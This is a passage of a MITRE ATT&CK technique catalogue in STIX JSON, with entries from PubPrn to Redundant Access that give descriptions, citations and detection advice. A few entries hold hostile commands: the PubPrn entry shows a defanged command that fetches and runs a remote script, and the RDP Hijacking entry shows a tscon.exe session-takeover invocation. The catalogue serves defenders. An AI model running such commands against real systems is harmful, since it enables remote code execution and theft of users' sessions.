            ],
            "modified": "2020-06-20T22:24:56.734Z",
            "created": "2020-01-14T01:33:19.065Z",
            "x_mitre_defense_bypassed": [
                "Anti-virus",
                "Application control"
            ],
            "x_mitre_data_sources": [
                "Process: OS API Execution",
                "Process: Process Access"
            ],
            "x_mitre_detection": "Monitoring for Linux specific calls such as the ptrace system call should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods.(Citation: ArtOfMemoryForensics)  (Citation: GNU Acct)  (Citation: RHEL auditd)  (Citation: Chokepoint preload rootkits) \n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_platforms": [
                "Linux"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1216.001",
                    "url": "https://attack.mitre.org/techniques/T1216/001"
                },
                {
                    "url": "https://enigma0x3.net/2017/08/03/wsh-injection-a-case-study/",
                    "description": "Nelson, M. (2017, August 3). WSH INJECTION: A CASE STUDY. Retrieved April 9, 2018.",
                    "source_name": "Enigma0x3 PubPrn Bypass"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "PubPrn",
            "description": "Adversaries may use the trusted PubPrn script to proxy execution of malicious files. This behavior may bypass signature validation restrictions and application control solutions that do not account for use of these scripts.\n\n<code>PubPrn.vbs</code> is a Visual Basic script that publishes a printer to Active Directory Domain Services. The script is signed by Microsoft and can be used to proxy execution from a remote site.(Citation: Enigma0x3 PubPrn Bypass) An example command is <code>cscript C[:]\\Windows\\System32\\Printing_Admin_Scripts\\en-US\\pubprn[.]vbs 127.0.0.1 script:http[:]//192.168.1.100/hi.png</code>.",
            "id": "attack-pattern--09cd431f-eaf4-4d2a-acaf-2a7acfe7ed58",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "modified": "2020-06-08T23:36:30.648Z",
            "created": "2020-02-03T16:49:57.788Z",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_detection": "Monitor script processes, such as `cscript`, and command-line parameters for scripts like PubPrn.vbs that may be used to proxy execution of malicious files.",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Command: Command Execution",
                "Script: Script Execution"
            ],
            "x_mitre_platforms": [
                "Windows"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1597.002",
                    "url": "https://attack.mitre.org/techniques/T1597/002"
                },
                {
                    "source_name": "ZDNET Selling Data",
                    "url": "https://www.zdnet.com/article/a-hacker-group-is-selling-more-than-73-million-user-records-on-the-dark-web/",
                    "description": "Cimpanu, C. (2020, May 9). A hacker group is selling more than 73 million user records on the dark web. Retrieved October 20, 2020."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Purchase Technical Data",
            "description": "Adversaries may purchase technical information about victims that can be used during targeting. Information about victims may be available for purchase within reputable private sources and databases, such as paid subscriptions to feeds of scan databases or other data aggregation services. Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets.\n\nAdversaries may purchase information about their already identified targets, or use purchased data to discover opportunities for successful breaches. Threat actors may gather various technical details from purchased data, including but not limited to employee contact information, credentials, or specifics regarding a victim\u2019s infrastructure.(Citation: ZDNET Selling Data) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).",
            "id": "attack-pattern--0a241b6c-7bb2-48f9-98f7-128145b4d27f",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "reconnaissance"
                }
            ],
            "modified": "2021-04-15T03:44:43.900Z",
            "created": "2020-10-02T17:05:43.562Z",
            "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_platforms": [
                "PRE"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1059.006",
                    "url": "https://attack.mitre.org/techniques/T1059/006"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Python",
            "description": "Adversaries may abuse Python commands and scripts for execution. Python is a very popular scripting/programming language, with capabilities to perform many functions. Python can be executed interactively from the command-line (via the <code>python.exe</code> interpreter) or via scripts (.py) that can be written and distributed to different systems. Python code can also be compiled into binary executables.\n\nPython comes with many built-in packages to interact with the underlying system, such as file operations and device I/O. Adversaries can use these libraries to download and execute commands or other scripts as well as perform various malicious behaviors.",
            "id": "attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "execution"
                }
            ],
            "modified": "2020-06-23T19:03:15.180Z",
            "created": "2020-03-09T14:38:24.334Z",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_system_requirements": [
                "Python is installed."
            ],
            "x_mitre_permissions_required": [
                "Administrator",
                "SYSTEM",
                "root"
            ],
            "x_mitre_detection": "Monitor systems for abnormal Python usage and python.exe behavior, which could be an indicator of malicious activity. Understanding standard usage patterns is important to avoid a high number of false positives. If scripting is restricted for normal users, then any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.\n\nScripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information Discovery, Collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.",
            "x_mitre_data_sources": [
                "Command: Command Execution",
                "Process: Process Creation"
            ],
            "x_mitre_platforms": [
                "Linux",
                "Windows",
                "macOS"
            ]
        },
        {
            "id": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Query Registry",
            "description": "Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.\n\nThe Registry contains a significant amount of information about the operating system, configuration, software, and security.(Citation: Wikipedia Windows Registry) Information can easily be queried using the [Reg](https://attack.mitre.org/software/S0075) utility, though other means to access the Registry exist. Some of the information may help adversaries to further their operation within a network. Adversaries may use the information from [Query Registry](https://attack.mitre.org/techniques/T1012) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1012",
                    "url": "https://attack.mitre.org/techniques/T1012"
                },
                {
                    "external_id": "CAPEC-647",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/647.html"
                },
                {
                    "url": "https://en.wikipedia.org/wiki/Windows_Registry",
                    "description": "Wikipedia. (n.d.). Windows Registry. Retrieved February 2, 2015.",
                    "source_name": "Wikipedia Windows Registry"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "discovery"
                }
            ],
            "modified": "2020-03-26T18:08:20.049Z",
            "created": "2017-05-31T21:30:25.584Z",
            "x_mitre_is_subtechnique": false,
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_permissions_required": [
                "User",
                "Administrator",
                "SYSTEM"
            ],
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Command: Command Execution",
                "Windows Registry: Windows Registry Key Access",
                "Process: OS API Execution"
            ],
            "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nInteraction with the Windows Registry may come from the command line using utilities such as [Reg](https://attack.mitre.org/software/S0075) or through running malware that may interact with the Registry through an API. Command-line invocation of utilities used to query the Registry may be detected through process and command-line monitoring. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).",
            "x_mitre_version": "1.2"
        },
        {
            "id": "attack-pattern--dca670cf-eeec-438f-8185-fd959d9ef211",
            "description": "Adversaries may establish persistence by modifying RC scripts which are executed during a Unix-like system\u2019s startup. These files allow system administrators to map and start custom services at startup for different run levels. RC scripts require root privileges to modify.\n\nAdversaries can establish persistence by adding a malicious binary path or shell commands to <code>rc.local</code>, <code>rc.common</code>, and other RC scripts specific to the Unix-like distribution.(Citation: IranThreats Kittens Dec 2017)(Citation: Intezer HiddenWasp Map 2019) Upon reboot, the system executes the script's contents as root, resulting in persistence.\n\nAdversary abuse of RC scripts is especially effective for lightweight Unix-like distributions using the root user as default, such as IoT or embedded systems.(Citation: intezer-kaiji-malware)\n\nSeveral Unix-like systems have moved to Systemd and deprecated the use of RC scripts. This is now a deprecated mechanism in macOS in favor of [Launchd](https://attack.mitre.org/techniques/T1053/004). (Citation: Apple Developer Doco Archive Launchd)(Citation: Startup Items) This technique can be used on Mac OS X Panther v10.3 and earlier versions which still execute the RC scripts.(Citation: Methods of Mac Malware Persistence) To maintain backwards compatibility some systems, such as Ubuntu, will execute the RC scripts if they exist with the correct file permissions.(Citation: Ubuntu Manpage systemd rc)",
            "name": "RC Scripts",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1037.004",
                    "url": "https://attack.mitre.org/techniques/T1037/004"
                },
                {
                    "source_name": "IranThreats Kittens Dec 2017",
                    "url": "https://iranthreats.github.io/resources/attribution-flying-rocket-kitten/",
                    "description": "Iran Threats . (2017, December 5). Flying Kitten to Rocket Kitten, A Case of Ambiguity and Shared Code. Retrieved May 28, 2020."
                },
                {
                    "description": "Sanmillan, I. (2019, May 29). HiddenWasp Malware Stings Targeted Linux Systems. Retrieved June 24, 2019.",
                    "url": "https://www.intezer.com/blog-hiddenwasp-malware-targeting-linux-systems/",
                    "source_name": "Intezer HiddenWasp Map 2019"
                },
                {
                    "source_name": "intezer-kaiji-malware",
                    "url": "https://www.intezer.com/blog/research/kaiji-new-chinese-linux-malware-turning-to-golang/",
                    "description": "Paul Litvak. (2020, May 4). Kaiji: New Chinese Linux malware turning to Golang. Retrieved December 17, 2020."
                },
                {
                    "source_name": "Apple Developer Doco Archive Launchd",
                    "url": "https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html",
                    "description": "Apple. (2016, September 13). Daemons and Services Programming Guide - Creating Launch Daemons and Agents. Retrieved February 24, 2021."
                },
                {
                    "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html",
                    "description": "Apple. (2016, September 13). Startup Items. Retrieved July 11, 2017.",
                    "source_name": "Startup Items"
                },
                {
                    "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf",
                    "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.",
                    "source_name": "Methods of Mac Malware Persistence"
                },
                {
                    "source_name": "Ubuntu Manpage systemd rc",
                    "url": "http://manpages.ubuntu.com/manpages/bionic/man8/systemd-rc-local-generator.8.html",
                    "description": "Canonical Ltd.. (n.d.). systemd-rc-local-generator - Compatibility generator for starting /etc/rc.local and        /usr/sbin/halt.local during boot and shutdown. Retrieved February 23, 2021."
                }
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "modified": "2021-04-27T19:58:01.927Z",
            "created": "2020-01-15T16:25:22.260Z",
            "x_mitre_platforms": [
                "macOS",
                "Linux"
            ],
            "x_mitre_data_sources": [
                "File: File Creation",
                "File: File Modification",
                "Process: Process Creation",
                "Command: Command Execution"
            ],
            "x_mitre_detection": "Monitor for unexpected changes to RC scripts in the <code>/etc/</code> directory. Monitor process execution resulting from RC scripts for unusual or unknown applications or behavior.\n\nMonitor for <code>/etc/rc.local</code> file creation. Although types of RC scripts vary for each Unix-like distribution, several execute <code>/etc/rc.local</code> if present. ",
            "x_mitre_permissions_required": [
                "root"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_version": "2.0"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1563.002",
                    "url": "https://attack.mitre.org/techniques/T1563/002"
                },
                {
                    "url": "https://technet.microsoft.com/en-us/windowsserver/ee236407.aspx",
                    "description": "Microsoft. (n.d.). Remote Desktop Services. Retrieved June 1, 2016.",
                    "source_name": "TechNet Remote Desktop Services"
                },
                {
                    "url": "http://www.korznikov.com/2017/03/0-day-or-feature-privilege-escalation.html",
                    "description": "Korznikov, A. (2017, March 17). Passwordless RDP Session Hijacking Feature All Windows versions. Retrieved December 11, 2017.",
                    "source_name": "RDP Hijacking Korznikov"
                },
                {
                    "url": "https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6",
                    "description": "Beaumont, K. (2017, March 19). RDP hijacking\u200a\u2014\u200ahow to hijack RDS and RemoteApp sessions transparently to move through an organisation. Retrieved December 11, 2017.",
                    "source_name": "RDP Hijacking Medium"
                },
                {
                    "url": "https://github.com/nccgroup/redsnarf",
                    "description": "NCC Group PLC. (2016, November 1). Kali Redsnarf. Retrieved December 11, 2017.",
                    "source_name": "Kali Redsnarf"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "RDP Hijacking",
            "description": "Adversaries may hijack a legitimate user\u2019s remote desktop session to move laterally within an environment. Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).(Citation: TechNet Remote Desktop Services)\n\nAdversaries may perform RDP session hijacking which involves stealing a legitimate user's remote session. Typically, a user is notified when someone else is trying to steal their session. With System permissions and using Terminal Services Console, `c:\\windows\\system32\\tscon.exe [session number to be stolen]`, an adversary can hijack a session without the need for credentials or prompts to the user.(Citation: RDP Hijacking Korznikov) This can be done remotely or locally and with active or disconnected sessions.(Citation: RDP Hijacking Medium) It can also lead to [Remote System Discovery](https://attack.mitre.org/techniques/T1018) and Privilege Escalation by stealing a Domain Admin or higher privileged account session. All of this can be done by using native Windows commands, but it has also been added as a feature in red teaming tools.(Citation: Kali Redsnarf)",
            "id": "attack-pattern--e0033c16-a07e-48aa-8204-7c3ca669998c",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "lateral-movement"
                }
            ],
            "modified": "2020-03-23T23:24:39.182Z",
            "created": "2020-02-25T18:35:42.765Z",
            "x_mitre_data_sources": [
                "Network Traffic: Network Traffic Flow",
                "Network Traffic: Network Traffic Content",
                "Logon Session: Logon Session Creation",
                "Command: Command Execution",
                "Process: Process Creation"
            ],
            "x_mitre_detection": "Consider monitoring processes for `tscon.exe` usage and monitor service creation that uses `cmd.exe /k` or `cmd.exe /c` in its arguments to detect RDP session hijacking.\n\nUse of RDP may be legitimate, depending on the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with RDP.",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_permissions_required": [
                "SYSTEM"
            ],
            "x_mitre_platforms": [
                "Windows"
            ]
        },
        {
            "created": "2020-10-20T00:05:48.790Z",
            "modified": "2020-10-22T02:18:19.568Z",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "type": "attack-pattern",
            "id": "attack-pattern--a6557c75-798f-42e4-be70-ab4502e0a3bc",
            "description": "Adversaries may abuse the ROM Monitor (ROMMON) by loading an unauthorized firmware with adversary code to provide persistent access and manipulate device behavior that is difficult to detect. (Citation: Cisco Synful Knock Evolution)(Citation: Cisco Blog Legacy Device Attacks)\n\n\nROMMON is a Cisco network device firmware that functions as a boot loader, boot image, or boot helper to initialize hardware and software when the platform is powered on or reset. Similar to [TFTP Boot](https://attack.mitre.org/techniques/T1542/005), an adversary may upgrade the ROMMON image locally or remotely (for example, through TFTP) with adversary code and restart the device in order to overwrite the existing ROMMON image. This provides adversaries with the means to update the ROMMON to gain persistence on a system in a way that may be difficult to detect.",
            "name": "ROMMONkit",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1542.004",
                    "url": "https://attack.mitre.org/techniques/T1542/004"
                },
                {
                    "source_name": "Cisco Synful Knock Evolution",
                    "url": "https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices",
                    "description": "Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020."
                },
                {
                    "source_name": "Cisco Blog Legacy Device Attacks",
                    "url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954",
                    "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020."
                }
            ],
            "x_mitre_platforms": [
                "Network"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_version": "1.0",
            "x_mitre_detection": "There are no documented means for defenders to validate the operation of the ROMMON outside of vendor support. If a network device is suspected of being compromised, contact the vendor to assist in further investigation.",
            "x_mitre_permissions_required": [
                "Administrator"
            ],
            "x_mitre_data_sources": [
                "Firmware: Firmware Modification"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1163",
                    "url": "https://attack.mitre.org/techniques/T1163"
                },
                {
                    "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html",
                    "description": "Apple. (2016, September 13). Startup Items. Retrieved July 11, 2017.",
                    "source_name": "Startup Items"
                },
                {
                    "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf",
                    "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.",
                    "source_name": "Methods of Mac Malware Persistence"
                }
            ],
            "name": "Rc.common",
            "id": "attack-pattern--18d4ab39-12ed-4a16-9fdb-ae311bba4a0f",
            "revoked": true,
            "type": "attack-pattern",
            "modified": "2020-01-15T16:27:32.362Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "attack-pattern--6a3be63a-64c5-4678-a036-03ff8fc35300",
            "name": "Re-opened Applications",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1164",
                    "url": "https://attack.mitre.org/techniques/T1164"
                },
                {
                    "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf",
                    "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.",
                    "source_name": "Methods of Mac Malware Persistence"
                }
            ],
            "revoked": true,
            "type": "attack-pattern",
            "modified": "2020-01-24T18:26:18.933Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "created": "2020-01-24T18:15:06.641Z",
            "modified": "2020-01-24T19:51:37.795Z",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "type": "attack-pattern",
            "id": "attack-pattern--e5cc9e7a-e61a-46a1-b869-55fb6eab058e",
            "description": "Adversaries may modify plist files to automatically run an application when a user logs in. Starting in Mac OS X 10.7 (Lion), users can specify certain applications to be re-opened when a user logs into their machine after reboot. While this is usually done via a Graphical User Interface (GUI) on an app-by-app basis, there are property list files (plist) that contain this information as well located at <code>~/Library/Preferences/com.apple.loginwindow.plist</code> and <code>~/Library/Preferences/ByHost/com.apple.loginwindow.* .plist</code>. \n\nAn adversary can modify one of these files directly to include a link to their malicious executable to provide a persistence mechanism each time the user reboots their machine (Citation: Methods of Mac Malware Persistence).",
            "name": "Re-opened Applications",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1547.007",
                    "url": "https://attack.mitre.org/techniques/T1547/007"
                },
                {
                    "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf",
                    "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.",
                    "source_name": "Methods of Mac Malware Persistence"
                }
            ],
            "x_mitre_platforms": [
                "macOS"
            ],
            "x_mitre_data_sources": [
                "File: File Modification",
                "Command: Command Execution"
            ],
            "x_mitre_detection": "Monitoring the specific plist files associated with reopening applications can indicate when an application has registered itself to be reopened.",
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_version": "1.0"
        },
        {
            "id": "attack-pattern--3a40f208-a9c1-4efa-a598-4003c3681fb8",
            "description": "Adversaries may reduce the level of effort required to decrypt data transmitted over the network by reducing the cipher strength of encrypted communications.(Citation: Cisco Synful Knock Evolution)\n\nAdversaries can weaken the encryption software on a compromised network device by reducing the key size used by the software to convert plaintext to ciphertext (e.g., from hundreds or thousands of bytes to just a couple of bytes). As a result, adversaries dramatically reduce the amount of effort needed to decrypt the protected information without the key.\n\nAdversaries may modify the key size used and other encryption parameters using specialized commands in a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) introduced to the system through [Modify System Image](https://attack.mitre.org/techniques/T1601) to change the configuration of the device. (Citation: Cisco Blog Legacy Device Attacks)",
            "name": "Reduce Key Space",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1600.001",
                    "url": "https://attack.mitre.org/techniques/T1600/001"
                },
                {
                    "source_name": "Cisco Synful Knock Evolution",
                    "url": "https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices",
                    "description": "Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020."
                },
                {
                    "source_name": "Cisco Blog Legacy Device Attacks",
                    "url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954",
                    "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020."
                }
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "modified": "2020-10-21T22:36:22.369Z",
            "created": "2020-10-19T19:03:48.310Z",
            "x_mitre_data_sources": [
                "File: File Modification"
            ],
            "x_mitre_platforms": [
                "Network"
            ],
            "x_mitre_detection": "There is no documented method for defenders to directly identify behaviors that reduce encryption key space. Detection efforts may be focused on closely related adversary behaviors, such as [Modify System Image](https://attack.mitre.org/techniques/T1601) and [Network Device CLI](https://attack.mitre.org/techniques/T1059/008). Some detection methods require vendor support to aid in investigation.",
            "x_mitre_permissions_required": [
                "Administrator"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_version": "1.0"
        },
        {
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1108",
                    "url": "https://attack.mitre.org/techniques/T1108"
                },
                {
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf",
                    "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.",
                    "source_name": "Mandiant APT1"
                }
            ],
            "description": "**This technique has been deprecated. Please use [Create Account](https://attack.mitre.org/techniques/T1136), [Web Shell](https://attack.mitre.org/techniques/T1505/003), and [External Remote Services](https://attack.mitre.org/techniques/T1133) where appropriate.**\n\nAdversaries may use more than one remote access tool with varying command and control protocols or credentialed access to remote services so they can maintain access if an access mechanism is detected or mitigated. \n\nIf one type of tool is detected and blocked or removed as a response but the organization did not gain a full understanding of the adversary's tools and access, then the adversary will be able to retain access to the network. Adversaries may also attempt to gain access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) to use [External Remote Services](https://attack.mitre.org/techniques/T1133) such as external VPNs as a way to maintain access despite interruptions to remote access tools deployed within a target network.(Citation: Mandiant APT1) Adversaries may also retain access through cloud-based infrastructure and applications.\n\nUse of a [Web Shell](https://attack.mitre.org/techniques/T1100) is one such way to maintain access to a network through an externally accessible Web server.",
            "name": "Redundant Access",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "id": "attack-pattern--6aabc5ec-eae6-422c-8311-38d45ee9838a",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "modified": "2021-03-08T10:33:00.985Z",
            "created": "2017-05-31T21:31:18.867Z",
            "x_mitre_deprecated": true,
            "x_mitre_is_subtechnique": false,
            "x_mitre_version": "3.1",
            "x_mitre_defense_bypassed": [
                "Network intrusion detection system",
                "Anti-virus"
            ],
            "x_mitre_detection": "Existing methods of detecting remote access tools are helpful. Backup remote access tools or other access points may not have established command and control channels open during an intrusion, so the volume of data transferred may not be as high as the primary channel unless access is lost.\n\nDetection of tools based on beacon traffic, Command and Control protocol, or adversary infrastructure require prior threat intelligence on tools, IP addresses, and/or domains the adversary may use, along with the ability to detect use at the network boundary. Prior knowledge of indicators of compromise may also help detect adversary tools at the endpoint if tools are available to scan for those indicators.\n\nIf an intrusion is in progress and sufficient endpoint data or decoded command and control traffic is collected, then defenders will likely be able to detect additional tools dropped as the adversary is conducting the operation.\n\nFor alternative access using externally accessible VPNs or remote services, follow detection recommendations under [Valid Accounts](https://attack.mitre.org/techniques/T1078) and [External Remote Services](https://attack.mitre.org/techniques/T1133) to collect account use information.",
            "x_mitre_platforms": [
                "Windows",
                "Azure AD",
                "Office 365",
                "SaaS",
                "IaaS",
                "Linux",
                "macOS"
            ],
            "x_mitre_permissions_required": [
                "User",
                "Administrator",
                "SYSTEM"
            ],
            "x_mitre_contributors": [
                "Praetorian"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1498.002",
                    "url": "https://attack.mitre.org/techniques/T1498/002"
                },
                {
                    "external_id": "CAPEC-490",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/490.html"
                },
                {
                    "source_name": "Cloudflare ReflectionDoS May 2017",
                    "url": "https://blog.cloudflare.com/reflections-on-reflections/",
                    "description": "Marek Majkowsk, Cloudflare. (2017, May 24). Reflections on reflection (attacks). Retrieved April 23, 2019."
                },
                {
                    "source_name": "Cloudflare DNSamplficationDoS",
                    "url": "https://www.cloudflare.com/learning/ddos/dns-amplification-ddos-attack/",
                    "description": "Cloudflare. (n.d.). What is a DNS amplification attack?. Retrieved April 23, 2019."
                },
                {
                    "source_name": "Cloudflare NTPamplifciationDoS",
                    "url": "https://www.cloudflare.com/learning/ddos/ntp-amplification-ddos-attack/",
                    "description": "Cloudflare. (n.d.). What is a NTP amplificaiton attack?. Retrieved April 23, 2019."
                },
                {
                    "source_name": "Arbor AnnualDoSreport Jan 2018",
                    "url": "https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf",
